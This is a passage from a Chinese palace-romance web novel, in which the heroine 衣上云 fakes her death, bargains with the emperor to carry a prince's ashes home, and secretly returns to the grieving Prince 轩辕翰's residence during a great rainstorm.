而璟帝则依旧沉着应对,淡淡笑着提醒她。 “错,在这灵空大陆上,北烈早已亡国向我西秦俯首称臣,如今归我西秦所有了。如此一来,不管是谁,朕说他有罪,他便就是有罪,朕说他该死,他便就该死,且不得不死。” 顿了顿,又继续说:“更何况,你怎就知道?他就愿意这样如同行尸走肉般在这天地间苟活,痛苦煎熬着呢!朕这是在帮他解脱,且朕命人收集下他的些许骨灰,对他,已是足够仁慈了。” “你……”闻此,衣上云竟然一时之间说不出话来,简直快要气疯了地瞪向上面那张丑陋且奸诈的嘴脸。 可仔细想一想,不禁又顿心生起无限感慨与自责:“是啊,北烈早就已经亡国,这一切,当初不都是因为我而起的嘛。” 眼下看来的确不是时机,于是在心里默默地下定了决心:“可无论如何,二皇子,这个仇,迟早我一定会报!” 最后,她只能默默的再次沉下气来,请求说:“让我亲自送二皇子回草原!” “你想出宫?做梦!”此话一出,那太监的瞳孔再次放大,先开了口,随后看向璟帝的脸。 接下来好长时间,偌大的宫殿上寂静无声。 岂料过了会儿,璟帝竟出乎所有人意料地痛快答应了她:“朕……答应你!” 闻此,衣上云自己仿佛亦是深感意外极了,惊看向座上的人。 不敢相信自己耳朵的再次朝其确认:“你这是真的答应了?” 璟帝笑着点点头。 衣上云想了想,再次试着开口说:“还有……放了丁香。” 果然,老奸巨猾又生性多疑的璟帝这次却果断拒绝了她:“这个……不行!你应该知道,做人不能太贪心的,不是吗?” 衣上云想要再争取一下:“可是丁香她……” 璟帝却拦抢了她的话:“天子一言,驷马难追,朕只给你半年的时间。半年期到,你必须回到朕的身边来,从此再也不踏出宫门半步。否则……你在这世间所在意的一切,都将荡然无存……” 衣上云冷静下来,将一手附在自己日渐已经微微隆起的腹部,仔细想了想:“半年……够了。” 就在她沉思的时候,璟帝再次开口提醒警告她:“这其中,自然包括那个小药女的安危……” “丁香?” 听到这话,衣上云顿时紧张起来说:“你把丁香怎么了,不要伤害她,让我见她一面!” 果然,璟帝这只老狐狸,竟能如此痛快地答应她出宫,是有筹码的。 对于衣上云的请求,璟帝却说:“你放心,她很好。等你从草原上回来,朕自会让你日日能见她……” 衣上云咬了咬牙,悄悄握紧双拳,心想:“眼下,看来只能先把二皇子的骨灰带回草原了!还有一件更重要的事……” 眼下情势,已是自己不得不做出取舍,遂答应了璟帝:“好!一言为定。不过,这所有的事,都是我一人所为,与丁香并无关系,不要为难她。待我回宫时,若是丁香少了一根汗毛,我绝对会让你后悔的。” 说完,便转身大步流星,愤愤离去。 这时,一旁立着的太监大惊失色,担心极了地说:“皇上万万不可呀!守护者得来极不容易,皇上怎就如此轻易便就放她离宫了?” 璟帝却是一脸自信满满地说:“放心,她一定会回来的!依照守护者的性子,你若不许,指不定她将会做出什么事来!” 随后又吩咐道:“派人去密切监视便可,如无必要,切不可暴露身份!” 太监依旧不放心,眉头紧锁,转而又问:“那那个小药女……” 璟帝想了想,道:“命人将其严加看管,不得有误。” 那太监听了,颇具一脸的担忧之色…… 出了殿门,阴暗天空下的世界水天一色。 走在回长宁宫的路上,换成了张致远默默跟随起边走边似若有所思着的衣上云的脚步。 不知过了多久,犹豫了一路,忧心极了的张致远终于鼓足了勇气,借着耳边巨大的风雨声,开口说了话。 “王妃娘娘,您……真的打算一个人带着二皇子的骨灰回草原吗?” 衣上云的心里其实是明白的,拓跋宏医术高超,绝对不可能察觉不到被人下药而致死。 她只是恨张致远,为什么早就察觉到了拓跋宏的不对劲,却未能将此消息及时告诉她,以至于他白白送掉了自己的性命。 妄她还是因为他,而被囚禁在此这么久。 眼看着近日他的伤势已见好转,她亦已安排好了一切,可以再无任何后顾之忧地带他离开这个束缚俩人的牢笼。 可是,到最后,不想他还是死了。 只有一步,就差一步,他们便可以离开,从此天大地大,去任何他们想去的地方。 想起曾经多少时刻,拓跋宏陪伴自己度过了她最艰难无助的日子。 回忆往昔,衣上云心里只觉百感交集,遂咬了咬牙,坚定地说:“对!” 闻此,张致远着急地想要阻止她:“王妃娘娘万万不可,您还怀有身孕,尚不足半年便将临盆,此去草原的路途遥远且万分艰难,娘娘您一人前往实在是太危险了。” 衣上云顿足停下,脸庞明明有泪水滑落,然却忍着悲伤说:“二皇子于我而言,恩重如山。这一生,我终是欠她太多。如若他死后,我都不能送他去他想去的地方,那我还算是人吗?” 闻此,张致远不得不承认,自己确实更加尊重眼前这个有情有义却弱小的身躯。 无论何时何地,她总能博得身边所有人心甘情愿的爱护与帮助。 当然,亦包括自己,从一开始刚见面时充满敌意的排斥,到如今的恻隐之心,遂关切地想要继续劝她:“可是,娘娘你……” 岂料话刚开口,却被衣上云挡了回去:“我心意已决,你不必再劝了!如若张院判还顾及些许我们旧日同僚的情份,还望大人能在我回宫之前,替我照顾丁香一二,我们就此别过!” 此话一出,张致远顿时愣在了原地。 只能眼睁睁看着衣上云的身影,距离自己越来越远,愈来愈模糊,最后彻底消失在他的视线。 第六百五十九章:她的味道 这场突如其来罕见的暴雨,直到翌日傍晚来临,依旧似是没有丝毫想要停歇的意思。 整座西秦皇城,一夜过后,仿佛突然之间变成了另一个世界。 雨水大量地倒灌入郊外的田间地头,很快便开始得不到排泄。 河水借着雨势,水位持续不断地暴涨,已然开始漫延至城里的街道,处处可见积水严重的景象。 即便如此,狂风依旧夹杂着暴雨怒吼着,时不时将路边的树枝摧残折断,随地可见一片狼藉。 往日里,来往行人络绎不绝,到处张灯结彩繁华无比的街道,如今却已是无一不紧闭铺门,大街小巷空无一人,处处尽显一片萧条与苍凉。 如果这场雨今夜还不停,怕是整个西秦皇城俱都要被淹了。 甚至,民间已是到处开始陆陆续续传闻,说这场暴雨,乃是天怒人怨,定是有人作恶,惹怒了苍天。 如今再也得不到守护者的庇佑,怕是苍天将要降大罪下来,惩罚整个西秦国。 一时之间,城里城外,处处皆是一片人心惶惶。 而此时,城东秦王府。 轩辕翰从昨夜凌晨便开始召集各部,刚刚安排部署好应急救灾的各项事宜,又亲自视察了一遍各项工作的实施。 此时,拖着满身疲惫终于踏进了秦王府大门。 副将程良跟着其脚步一边跨过门槛进来,一边心疼极了地关切这个主子:“殿下昨日一夜未睡,今日亦是忙了一天未能合眼,还是快点回寝殿睡一会儿吧!” 一直以来,仿佛发生的所有的事,都是一波未平,一波又起。 轩辕翰深邃的眼眸里透露着满腹心事重重,一边跨进承华殿里坐下,一边复又望着窗外的大雨。 依旧担心极了:“如果今夜这雨再不停,怕是就要出事了。” 闻此,程良的目光亦随之看了出去,心亦跟着一起紧紧揪了起来。 过了会儿,回过神后,继续开口劝说:“殿下,还是去眯会儿吧!如果真的夜里雨还不停,势必将有场硬仗要打呢!” 忽想起自己进进出出,程良亦一直寸步不离地跟着自己,未有片刻的休息。 轩辕翰遂开口对他说:“嗯,本王知道了,本王想一个人在这儿呆一会儿,稍后便回寝殿,你也下去歇会儿吧!” 程良又怎能放心将轩辕翰一人留在这里,这场突如其来的暴雨,使得轩辕翰不得不调集回所有兵力,暂时搁置下寻找衣上云的下落,改而先行救灾。 可若是平日里风调雨顺还好,如今这场大暴雨,轩辕翰定是更加担心衣上云的安危。 此时一闲下来,他的心一定会很痛,很痛…… 一念至此,程良紧忙回答:“属下不累,属下就在这里陪着殿下!” 岂料轩辕翰却坚定地拒绝了他:“不必了,下去吧!” 至此,程良见自己已是不得不退下去了,于是便缓缓转身,出了门。 这时,轩辕翰忽然站起身来,踱步朝门外走了出去。 却依旧如同往日一样,沿着回廊,本能一般来到了云水阁里。 偌大的王府,仿佛也只有在这里,他似才能感觉到片刻内心的宁静。 一到这里,似乎就连空气里,到处都弥漫着自己熟悉的味道。 遂伸出双手,将门推开。 “桃之夭夭,灼灼其华。” 这一次,他的面前竟出现了一袭清新脱俗的粉色桃花纱裙,似桃花仙般轻盈灵动的衣上云,正俯在案前,悉心捣药制方的模样。 在那盏温柔的烛火下,这一幕,曾经他是那般的熟悉而又倍感温暖。 轩辕翰不禁激动地开口自言自语起来。 “云儿,真的是你吗?” “你回来了,回到本王身边来了,终于回来了!” “本王就知道,你一定还活着,你绝不会那样残忍,就那样离开本王的。” “云儿,你可知道,这些日子里,本王心里有多想你。” 这一刻,他实在是太高兴了。 在那精致的脸庞,借着烛火的照耀,明明竟现出有泪水在滑落。 话一说完,他便开始迈出疾步上前,落坐在衣上云的身边。 伸手过去温柔地拉起,并握紧她白皙而纤细的手。 接着,又抬起一只手去,轻抚了抚衣上云朝他正微笑着的脸。 继而温柔地将她一把揽入自己的怀中,心疼又后悔极了地说:“云儿,对不起,真的对不起,本王知道自己做错了,如果不是本王做了这么多错事,本王也不会一次次把你给弄丢!” 声音明显已有些哽咽,顿了顿,轩辕翰继续信誓旦旦地说:“本王发誓,只要你回到本王的身边,本王什么都听你的,什么都听你的……” 衣上云却依旧只淡淡地笑着,旖旎依偎在他的怀里,在其心口处温柔地唤了句:“殿下……” 这一声,轻轻柔柔,却是他无数个日日夜夜心底最为朝思暮想的声音。 轩辕翰只觉此刻自己的心都快要碎了,遂情不自禁地将手里的力气又增添了一些,将她拥的更紧。 然衣上云终究还是在他的怀里挣扎着坐了起来,一边替其拭去泪水,一边说:“殿下不要难过,这一切,并不是殿下的错。镜花水月,云儿本就不属于这里,亦是时候该离开了,云儿谢谢殿下一直以来的真心相待。” 轩辕翰有些听不懂:“你在说什么?什么镜花水月?什么不属于这里……什么是时候该离开了……” 可就在这时,衣上云忽然彻底挣脱了他的怀抱,立起身来,继而缓缓后退。 脸上尽管依旧笑着,可内心却是心疼不已地说:“没有云儿的日子,殿下一定要好好保重身体。关于所有一切,总有一日,殿下会明白的。” “不……” “不要……” “不要走……” “不要离开本王” 忽然意识到她是想要再次离开自己,轩辕翰一边着急地起身呼唤着,一边追了过去,张开怀抱想要用力抱住她。 就在这时,并未真正离开的程良,不放心地尾随其追了过来。 看到这一幕,见轩辕翰此时如同魔症了一般地环抱着周围空无一物的空气,那失魂落魄般令人心碎的模样,整个人顿时惊呆在原地。 遂站在门口叫了一声:“殿下……” 岂料轩辕翰似仍沉浸在自己的幻想之中,并未回应自己丝毫。 于是程良紧忙跨过门槛去伸手将其胳膊用力晃了晃,问:“殿下这是在做什么?” 轩辕翰激动地说:“程良,你快看,云儿回来了,她回到本王身边来了!” 程良听了,这才明白过来,遂安慰他:“殿下您一定是近日太过操劳,亦太过于思念王妃娘娘而产生幻觉了!” “幻觉……” “不……” “这不是幻觉……” “她真的回来了……” “不信你看……” 说着,一看自己手中所挽着的只不过是一把空气,确是果然偌大的殿内,除了他主仆二人之外,再无任何人影。 霎时间,轩辕翰彻底清醒了过来,顿现满脸的失望与难过。 程良见了,心疼地实在不知该说些什么来安慰他:“殿下……” 失而复得,得而又复失。 问世间谁能接受这样的事实,此时轩辕翰只觉整个身子很沉很沉,似是两腿都开始发软,快要无法站立。 程良意识到后,紧忙伸出手去扶。 轩辕翰伸出一手将他阻止,一边落坐下,一边垂首下去默默地道:“本王没事!” 程良却是更加担心极了地劝说:“殿下还是去睡会儿吧!” 轩辕翰便不再说话。 一室寂静。 不知过了多久,一阵风拂过。 一只胳膊支撑在案前,垂首一直捏着眉心似是在思考着什么,又似在闭目养神着的轩辕翰,忽然闻到了一股熟悉的味道。 不知不觉,他的脑海中忽然回想起昨夜在宫里所发生的事情。 很快,他似是察觉到了什么,睁开眼眸来说:“不对,那味道……” 程良隐隐约约地听到后,问:“殿下在说什么?什么不对?” 轩辕翰忽地抬起头来说,说:“云儿整日在王府就喜欢研究这些药草,所以身上自带着一股淡淡的药草香味!昨夜宫里的那个小药女的身上,也有与她相同的药草香……” 程良这才明白了过来:“殿下难不成是怀疑昨夜的那名小药女是王妃娘娘?” 话刚出口,却又马上反驳道:“这不可能!整个御药房的人,日日都与药草在一起,身上都有一股药草味。” 轩辕翰想都不想,却是坚定极了地说:“不,本王当然知道天下医者如云,可云儿身上的味道,只有本王才能识得出。” 话说至此,程良显然再无言以对,却依旧坚信自己的判断:“不可能,不可能那么巧!王妃娘娘怎么可能在宫里……” 轩辕翰却是暗暗已下定了决心,嘴里喃喃念叨着:“御药房……” 说着,便站起了身来。 看着轩辕翰欲迈步出门,程良惊声道:“殿下不会是现在就要进宫吧?” 就在轩辕翰不顾程良阻拦,一意孤行执意要出门的时候。 一名侍卫匆匆过来禀报:“启禀殿下,衣府来人了……” 第六百六十章:噩耗传来 很快,城西衣府家主,衣上坤便被人带到了大殿上来。 一近身上前,便朝座上的轩辕翰恭敬地抱拳行礼:“参见秦王殿下。” 岂料程良却先开了口,问道:“衣药师来的正好,有件事正想问大人。” 对此,衣上坤有些意外,道:“不敢当,不知将军想问什么?” 程良看了看轩辕翰的眼睛,俩人似是便已达成了共识。 程良开口问:“不知近日御药房里可有增加些许新进的药女?” “他们问这个做什么?难道他们发现了什么?”此话一出,衣上坤的心里便开始有些怀疑。 “新进的药女……”继而吞吞吐吐了一会儿,佯装自己是在认真思量。 结果最后却说:“微臣似乎并未听说近期有新人进御药房!不知将军怎会问起这个来?” 程良顿愣了一下,道:“哦,没什么,只是随便问问,眼下皇城内外都在备战抗灾,本将军只是关心一下御药房人员储备是否充足!” 衣上坤当然不相信程良此番解释,可亦只能接受他这套说辞:“原来如此!” 程良这时方才问道:“对了,不知衣药师冒着这么大的雨前来秦王府,所为何事?” 就在这时,衣上坤忽地在大殿上垂首跪了下来,道:“启禀殿下……云儿已经找到了!” 闻此霎时间,轩辕翰惊立起身来,与程良不约而同地发出一声惊叫。 “找到了,在哪儿找到的?” 衣上坤忽然轻声抽泣起来:“殿下……云儿她……死了……” “你说什么?” 闻此,轩辕翰脚下忽地打了一个踉跄。 程良急忙伸手去扶,轩辕翰伸出一手将其阻挡。 一边摇头,一边嘴里只一个劲地道: “本王不信” “本王不相信” “她不会……” 这时,衣上坤缓缓从身上摸出一个不知道被一条丝帕包着的什么东西。 程良过去将其接过,转而交到了轩辕翰的手中。 轩辕翰摊在手心里一看,那手帕正是衣上云平日里惯用的那个质地,依旧绣着一个同样他熟悉的不能再熟悉的“云”字。 他微微颤抖着附手上去,轻抚了抚那个字,继而缓缓将丝帕打开。 只见他顿时朝其瞪大了眼睛,似是被什么东西惊到。 遂伸手从丝帕里拿起一只镯子,凝视着其愣愣地说:“这只镯子……” 衣上坤解释说:“这是云儿的生母临终前留给云儿的唯一遗物,想必殿下亦对此不陌生。平日里,云儿总是从不离身,贴身戴着。” 这一刻,轩辕翰心中本已稳固的坚守,终于还是塌陷了。 霎时间,只觉自己眼前一黑,似是要跌倒下去。 “殿下……”一边的程良意识到其不对劲后,赶忙上前想要去扶他。 却被轩辕翰伸手一把阻止,继而缓缓坐了下来。 衣上坤遂将整件事的来龙去脉对轩辕翰娓娓道来。 此情此景。 恰好被纯太妃特意遣来承华殿里,想要打探轩辕翰外出公务是否已经结束,且安全回府的欢儿撞见。 一时之间,欢儿亦是整个人瞬间都愣在了门口,显然被此消息震惊不已。 遂张大了一双眼睛,不敢相信自己的耳朵,最后只愣愣地说了句:“她……死了……” 然来不及思索更多,兀自一转身,便提起裙摆来着急忙慌得下了台阶,匆匆回去。 一路狂奔着,回到紫和轩里。 刚进门,人尚且还未到,声音便先传入到了殿内:“不好了,太妃娘娘,出事了,大事不好了……” 同样担心眼下的这场暴雨,极有可能将给西秦带来一场前所未有的灾难而夜不能寐的纯太妃。 此刻,正双膝跪地,在佛堂里闭目凝神,虔诚祈祷,全身心地诵经,为全城的百姓们祈福。 听到传来欢儿慌乱的呼喊声,她似是早已习惯了她时不时的大惊小怪,并未受其影响而停下来。 一旁静静站着的张嬷嬷听到欢儿的呐喊,急忙走到门口嘘声提醒她:“嘘……小声点儿,太妃娘娘正在祈福呢!” 欢儿这才一把捂住了自己的嘴,被张嬷嬷一把拽了进去。 过了会儿,纯太妃终于止住了嘴里的呢喃声,双手合拢,最后朝着面前的神像深深叩首下去,完成了祷告。 又在张嬷嬷的搀扶下起身来,这才转身看到了欢儿此时的狼狈模样。 于是开口训导说:“都已经在王府呆了这么久了,怎么还是和从前一样遇事这般地慌张?莫非是这头顶的天要塌下来了不成。” 本就受了不轻惊吓的欢儿,加之一路疾奔,早已是上气不接下气,一时间,竟说不出话来,只一个劲儿地摇头。 纯太妃似是对她有些无奈,摇了摇头。 亦实在担心轩辕翰的安危,便转而问她:“可有探到殿下是否已经回府了?” 欢儿说不出话,只一个劲儿地点了点头。 得知轩辕翰已经回府,纯太妃皱起的眉头随之微微舒展开来,似是放心了许多。 “谢天谢地,既然皇儿都已回府,便就说明城里的情势还没有那么糟糕。” 继而又再次瞥了一眼欢儿,唠叨她:“你这毛手毛脚的丫头,怎么到现在还是改不了你这个急性子!什么大事不好了,到底发生了什么?只不过让你去打探一下殿下是否已经回府,你怎么就弄成了这副模样?” 欢儿将两手插在腰间,喘了好大几口气,终于说出了这句:“太妃娘娘……不好了……衣府……衣府来人了!” 闻此,纯太妃顿看向欢儿的眼睛,颇觉亦有几分诧异:“衣府来人了?” 想想轩辕翰与衣上云大婚至今,城西衣府可是甚少登门的,今日怎么…… 一边思量着,放眼过去看了看门外的瓢泼大雨。 不知为何,她的心里忽然升起一抹不好的预感,低声喃喃道:“这么大的雨,衣府来王府做什么?可知来的是什么人?” 然这时,却忽见欢儿脸上的表情变得迟疑了起来,欢儿当然还没有想好该如何告诉纯太妃这个噩耗。 她的确不知她能不能承受地住,于是便支支吾吾了起来,说:“衣府来的是家主衣上坤衣老爷,衣老爷他说……他说……” 纯太妃见欢儿忽然眼神开始躲闪,变得吞吞吐吐起来,便催促道:“你这丫头怎么回事?方才还火急火燎的,这会儿怎么又吞吞吐吐了起来,到底发生了什么事?衣上坤到底来跟殿下说什么?” 看到纯太妃已然着急发怒,欢儿本想循序渐进,将此事道出:“太妃娘娘不要……不要过于着急,欢儿刚才在承华殿门口听见衣老爷说,他已经找到了王妃娘娘。” “你说什么?” 未及欢儿将话说完,纯太妃便激动地看着欢儿的眼睛,将其打断说:“你说的是真的?真的已经打探到云儿的下落了?” 一时之间,纯太妃惊地竟有些不知所措。 “太好了,终于有王妃娘娘的消息了……” 一边的张嬷嬷亦是瞬间笑逐言开,与纯太妃对视在一起。 这些日子以来,终于看到纯太妃阴暗的脸转而喜上眉梢。 欢儿却更加不知自己该如何继续说下去,将事实真相告诉她们。 就在欢儿尚还在犹豫的时候,纯太妃却迫不及待地决定要拉着张嬷嬷出门:“不行,哀家要去看看,哀家要亲自去看看,张嬷嬷,你陪哀家去承华殿。” 说着,便就迈起了步来。 张嬷嬷一边跟随,一边关切地道:“哎呦,雨天路滑,太妃娘娘,您可千万仔细着点儿脚下,慢点啊!” 纯太妃实在是高兴极了,道:“不碍事,不碍事,哀家这会儿是真的很高兴!哀家曾允诺过皇儿,待他将王妃从觻县带回来,哀家便要亲自将这王府女主人的位置传予她,这一刻,哀家终于等到了!” 欢儿见状,直瞪着一双圆溜溜的大眼睛望着俩人离去的背影。 嘴巴一张一合,不知所措地想要阻拦,却又不知该如何拦住她们。 过了会儿,待欢儿回过神来,终于,还是一边叫着,一边追了上去。 “不……不可以……太妃娘娘……您不能去,不能去大殿……” 而此时的承华殿,衣上坤早已离去。 只有轩辕翰万念俱灰,强忍着心中莫大的悲痛,落寞孤寂地坐在偌大的殿里,一动不动的凝视着手中的那只七彩金丝彩玉镯子。 一边立着的副将程良,始终都不知该如何安慰这个主子一二。 可就在衣上坤踏入秦王府来的前一秒,轩辕翰甚至还深信不疑地召着急进宫去,想要证实衣上云就是昨夜在宫里偶遇的那位药女。 只不过一瞬间,没想到衣上坤便带来了如此巨大的噩耗。 “这不是真的” “不可能” “她不会就这么抛下本王……” “她怎么会……” “她怎么敢……” 不知过了多久,偌大寂静的殿内,忽然再次回响起轩辕翰难以接受这个消息的声音。 而程良又怎愿意相信,可那个镯子,的确是衣上云从不离身的贴身之物:“可这镯子……” 就在俩人说话间,纯太妃与张嬷嬷一同走进了大殿来。 纯太妃朝四周看了看,见只有轩辕翰主仆俩人的大殿,疑惑地问:“衣上坤呢?不是说衣上坤来王府了吗?他不是找到云儿了吗?” 说着,目光又再次朝周围扫了几圈,连连问沉默不语的轩辕翰。 “云儿呢?” “你的王妃呢?” “你怎么不说话?” 似是发现了有些什么不对劲,便又看了看程良的方向,继续问。 “你们怎么都不说话?” “发生了什么事?” 轩辕翰舒了口气,终于开了口。 “母妃,云儿她……” 纯太妃预感极不好:“云儿怎么了?” 轩辕翰想了想,咬了咬牙,心一横,道:“她回不来了?” “回不来了?” 纯太妃重复了一遍,似懂又非懂这话的含义。 她不愿相信地再次朝其确认:“云儿回不来了是什么意思?” 这时,轩辕翰将自己手里的那只七彩金丝彩玉镯子递到了纯太妃的面前。 隐忍着心痛说:“觻县的沙暴退去后,有个商人途径沙漠时发现了云儿。这是云儿弥留之际,交由那个商人带回衣府给衣上坤的,云儿她已经……” 轩辕翰想都不忍心去想,衣上云那个时候该有多么的绝望与无助。 闻此,纯太妃看着轩辕翰手中攥着的那只熟悉的镯子,亦是不敢相信地低声说:“你是说……云儿她……” 话虽刚开口,蔓延的思绪却已很远很远。 顿时,纯太妃只觉一阵眩晕感袭向自己的头部,顷刻间,她便再也站立不住,身子直重重地倾倒了下去。 轩辕翰发现,紧忙伸手将其扶住,在其耳畔呼唤她:“母妃……母妃……” 张嬷嬷与程良亦着急地呼唤其:“太妃娘娘!” 然很快,纯太妃便彻底闭上了眼睛,失去意识。 第六百六十一章:暴雨夜街角相撞 黑云压城,不断地翻滚着。 眼看着这场暴雨愈演愈烈。 伴随着夜空中轰隆隆的雷声乍开,道道闪电将黑夜瞬间变成了白昼,似是势在必得欲要先将这头顶的苍穹撕个粉碎。 满世界的大雨倾盆,依旧肆意无情地下着。 百姓们俱都恐慌极了,面对这场天灾的突然降临,束手无策地躲在自己的方寸之内,瑟瑟发抖着。 却是什么都做不了,只能默默地祈求上苍垂怜,能让这场灾难赶快过去。 昔日里不尽繁华的皇城街道上,已是到处积水严重。 怕是再过不了几个时辰,街边林立着的铺面便就要漫进水去,被淹了。 在这尽管如此恶劣的天气,耳畔边,居然夹杂着巨大的风声雨声,以及雷电交加的声音,响起了一阵嗒嗒,嗒嗒紧急的马蹄声来。 很快,在街道的一处拐角上,同时现出了一辆马车,和一个骑马扬鞭埋头赶路的黑衣男子。 他们一定是各自都有着尤为紧急的事情,所以才会选择即使在这样的天气里,依旧还要出门。 只见由于彼此的速度均过于太快,加之今日夜里更为厚重的雨帘,严重遮挡了他们的视线,以至于俱都丝毫来不及避让,便就这样实实地撞了上去。 伴随着马儿俱都同样发出一阵颇为受惊的嘶叫声,忽闻“哐当……”一声,那辆马车亦瞬间撞到了一旁河岸边的护栏上。 这时,从马车里缓缓走下来一位身着一袭白色纱裙,脸上亦遮着一条白色面纱,一只纤纤玉手,撑起一把油纸伞的女子。 她扶了扶自己被晃荡,又撞的昏昏沉沉的脑袋。 一下车,便径直朝着摔倒在地上,身披着一件蓑衣的老车夫。 蹲身下去一边替其查看,一边紧张关切地问:“老伯你怎么样?有没有哪里受伤,您还好吗?” 那车夫摇了摇头,道:“只是擦破了点皮,没事!我这一辈子风里来,雨里去的,皮糙肉厚,姑娘不用担心。” 紧接着,面露颇为抱歉之色地说:“倒是让姑娘受惊了!我就说这天气姑娘不该着急赶路,您瞧这才刚出门,便就跟人撞上了!” 女子却回头看了看自己放在车座上的一个黑色包袱,遂脸色忧郁地道:“对不起,真是为难您了!可这件事,我是真的很着急,一刻也等不下去!” “只是从皇城到草原且先不说路途遥远,这一路上到处皆是艰难险阻,可谓是一重又一重,岂非常人所能承受得了的!姑娘你一个人,怕是要遭大罪的!况且……” 老车夫说着,低下眼睛看了眼女子的腹部,弱弱地问:“况且姑娘你的身子……” 女子这才意识到自己的身孕竟被人已经察觉,遂赶紧一把过去拉扯了一下衣裙,意志却是坚定极了地说:“放心,我可以的!” 不知道眼前这女子究竟都经历了些什么。 只是从面相上看,尽管遮着面纱,亦难以掩饰其清新脱俗,气质不凡,一看便知非小门小户人家的女子。 可就算是寻常人家的新妇,若是一旦发现有了身孕,那全家俱都拿其当珍宝一样护着。 可眼前的她,身边竟无一人相伴。 眼下这般的天气,竟然还要独自去那样危险的地方。 越想越觉得不解,于是,他再仔细端详了会儿她今日的打扮,一身素衣裙,那黑色的包袱里,莫非是…… 一念至此,老车夫忽然被自己的猜想惊到,遂开口问:“姑娘的夫君,莫非已经……” “夫君?”追随着老车夫的目光看去,衣上云一意识到他所说话里的意思,便着急地解释:“老伯您误会了,我本孑然一身,并无夫君,那并不是……” 闻此,老车夫最后只能亦无奈地轻叹了口气,不再说什么。 毕竟,这世上的男男女女,形形色色,亦不是他一个粗人所能理解猜透的。 看到车夫并无大碍,在替其简单进行了一番包扎后,女子便起身过去,查看另一头倒在地上的黑衣男子。 可那人,却似是就并没有他二人这般幸运。 整个人一动不动地倒在雨水里,似是昏了过去。 在老车夫的帮助下,衣上云替其仔细地把了把脉,说:“披星戴月,风雨兼程,他这是长时间赶路的疲劳过度所致的昏迷。” 遂赶紧掏出身上的银针袋来,替其施了针后,那黑衣男子方才缓缓睁开了眼睛。 第一时间朝其致歉:“姑娘你们没事吧,对不起,方才都是因为我一时心急,没看清楚你们的马车从拐角里出来,这才惊了你们的马车!” 衣上云摇了摇头,道:“你不必向我们致歉,我知道,方才若不是你及时勒马停下,怕是我们就不仅仅只是撞到了护栏上如此简单了,只怕连人带车早已落水,而你,也不会落马跌下重伤!” 黑衣男子见眼前这俩人总算是未因自己而受伤,便紧忙从身上掏出一封火漆密函竹筒。 对衣上云颇为郑重地说:“劳烦姑娘帮我去一趟秦王府,将这封信亲手交给秦王殿下!” “秦王府……” 闻此,衣上云似是便明白了过来:“原来这是秦王轩辕翰的人。” 遂心下里一想,去秦王府,万一自己被秦王府的人认出来该怎么办? 想想时间,衣上坤也已经应该按照计划,将她去世的消息通知秦王府了。 加之生性多疑的璟帝,虽然表面上看似完全给了她半年的自由。 可背地里,一定加派了不少人在监视自己。 她当然不能将自己的苦心计划,全部都付诸流水。 这可是亦包含了拓跋宏的牺牲在里面。 于是便开口拒绝黑衣男子说:“不是我不想帮你,只是秦王府在城东,可我却是要往西北方向而去!不如,你跟我上车,我先送你去秦王府,如何?” 黑衣男子虚弱地扭头看了一眼不远处,那马车狭小的空间。 说:“姑娘,你这马车根本就容不下我二人。这么大的雨,我们亦不可能再找到其他车子,这件事真的很重要,拜托姑娘一定要帮我!” 衣上云就是这样的人,面对别人所求,总是不忍心拒绝。 于是在内心挣扎了好一阵之后,终于还是答应了他:“好吧,我便替你跑这一趟!可我,需要一套男装才行。” 黑衣男子虽然不知道衣上云为何要这样做,却告诉了她:“我的包袱里,尚还有一套未穿过的新衣,姑娘若是不嫌弃……” “可以可以,都可以,只要是男装都行。” 衣上云说着,没有一丝犹豫,便急忙起身过去一把卸下了马背上的那件包袱,转而踱步回到马车上去将其换上。 转眼很快。 衣上云便一袭黑衣劲装,来到了秦王府的门前。 此时,王府里里外外到处都已经挂起了高高的白帐。 衣上云立在门外,喃喃低语道:“看来父亲已然成功地将消息带到了王府,秦王也相信了这个事实。如此一来,衣府与秦王府从此应该不会再受到我的牵连了!” 就在这时,她忽然听到进进出出王府的人群里,有人在悄悄议论。 “今夜这雨,如果再下下去,怕是整个皇城都要被淹了。” “难道真是天要亡我西秦了吗?” “自从守护者被弄丢后,西秦国便一直就多灾多难着,如今竟就连皇城都快要保不住了。” “看来真如传闻所言,只有守护者与我朝真命天子在一起,心意相通,同心携手,方才能保我西秦国风调雨顺,国泰民安啊!” …… 就在她停留在门口一脸忧郁,不知思量着些什么,徘徊不前时。 忽然从里面走出来一名王府侍卫,立在台阶上朝他催促道:“你一个人站在外面做什么,还不赶快进去帮忙?” “我……”衣上云顿指着自己的鼻子,迟疑了一下,就这样,便被人带进了王府。 看到周围人来人往,衣上云这才意识到那黑衣男子给自己的这套所谓的新衣,竟然就是秦王府府内的侍卫衣装,如此的确竟连腰牌也免了。 跟随着那侍卫的脚步,衣上云对照着自己记忆里熟悉的地方,心里默默地道:“这便就是记忆里秦王府的模样了?!我竟然再次回到了这里……” 走着走着,那侍卫缓缓停下脚步,脸色沉重地对衣上云交待说:“你就去林月轩帮忙吧!” “不……你误会了,其实我并不是……” 衣上云正想对其解释一下,岂料那侍卫接下来的话,却将她嘴里的话直接给挡了回去。 “王妃的离世,对殿下刺激颇深,一定要在身边悉心侍奉!” 说完,那侍卫便一溜儿烟似的匆匆离去。 “可我话还没说完呢……”最后,衣上云只能虽然不情愿,却又无可奈何地嘴里一边嘟囔着,一边往林月轩里去。 可不知道为什么,衣上云竟鬼使神差地凭藉着自己的记忆来到了云水阁。 一抬起头,竟然在窗外看到了一个熟悉的身影。 “那是……魏明轩?” “不……他不是魏明轩。” “他是……秦王……轩辕翰……” 再凑近一点仔细一看,对照如今双世的记忆,不禁令她更为吃惊:“看那轮廓线条,竟跟魏明轩的样貌一模一样!” 只见轩辕翰正对着手里捏着的不知是个什么东西似是在回忆着些什么。 貌似还一边借酒浇愁,一边自言自语着。 “记忆中,轩辕翰可是从不酗酒的,莫非这难道是因为……” 此情此景,衣上云竟感觉自己莫名的有些心痛。 然终究还是强忍着心里的那份抗拒,不想深究的情愫,告诫自己:“我这是在想什么?我的心里只有魏明轩,不可能再有其他任何人!” 就在这时,她忽然看清了轩辕翰手中捏着的那个东西,顿瞪大了双眼…… 第六百六十八章:威逼不成 张府。 晚饭时间刚过,王氏便亲自捧着一茶盘来到了书房里。 细心地奉上了一碗绿豆汤到张致远的手里:“最近天气炎热,为妻见晚饭夫君也没用什么,不如试试这个绿豆汤如何?” 张致远正觉得有些燥热难耐,于是放下手里的古籍。 将汤碗接过来一看,又凑到鼻翼前闻了闻,似是对其饶有兴致。 便夸赞说:“夫人的手艺向来极佳,这绿豆汤一定不错!” 